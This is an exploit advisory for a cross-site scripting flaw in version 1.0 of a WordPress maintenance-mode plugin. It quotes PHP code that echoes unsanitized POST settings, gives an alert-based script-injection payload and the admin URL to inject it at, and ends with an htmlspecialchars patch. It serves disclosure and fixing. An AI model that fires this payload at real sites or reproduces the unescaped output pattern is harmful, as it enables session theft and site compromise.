###################### # Exploit Title: Wordpress Maintenance Mode Cross Site Scripting # Exploit Author: Ashiyane Digital Security Team # Vendor Homepage: https://wordpress.org/plugins/rocket-maintenance-mode/ # Date: 2015-08-18 # Tested On: Kali Linux - FireFox # Software Link: https://downloads.wordpress.org/plugin/rocket-maintenance-mode.1.0.zip # Version: 1.0 ###################### # Vulnerable File and Codes: ###################### File : includes\classes\class-wpmmp-settings.php Codes : 153: $settings['title'] = stripslashes($_POST['settings']['title']); 155: $settings['heading1'] = stripslashes($_POST['settings']['heading1']); 157: $settings['heading2'] = stripcslashes($_POST['settings']['heading2']); 173: $settings['countdown_time'] = stripslashes($_POST['settings']['countdown_time']); ###################### File : views\admin-settings\general-meta-box.php Codes : 64: <input type="text" name="settings[title]" value="<?php echo $settings['title'] ?>" /> 78: <input type="text" name="settings[heading1]" value="<?php echo $settings['heading1'] ?>" /> 98: <input type="text" name="settings[heading2]" value="<?php echo $settings['heading2'] ?>" /> 124:<input type="datetime-local" name="settings[countdown_time]" value="<?php echo $settings['countdown_time'] ?>" /> ###################### # Exploit: For test Cross site scripting can use this code in all of the above inputs are vulnerable. "><script>alert(/xss/)</script>< Address: http://localhost/wordpress/wp-admin/options-general.php?page=wpmmp-settings ###################### # Patch: 64: <input type="text" name="settings[title]" value="<?php echo htmlspecialchars($settings['title']) ?>" /> 78: <input type="text" name="settings[heading1]" value="<?php echo htmlspecialchars($settings['heading1']) ?>" /> 98: <input type="text" name="settings[heading2]" value="<?php echo htmlspecialchars($settings['heading2']) ?>" /> 124:<input type="datetime-local" name="settings[countdown_time]" value="<?php echo htmlspecialchars($settings['countdown_time']) ?>" /> ###################### # Discovered By: Ehsan Hosseini. ######################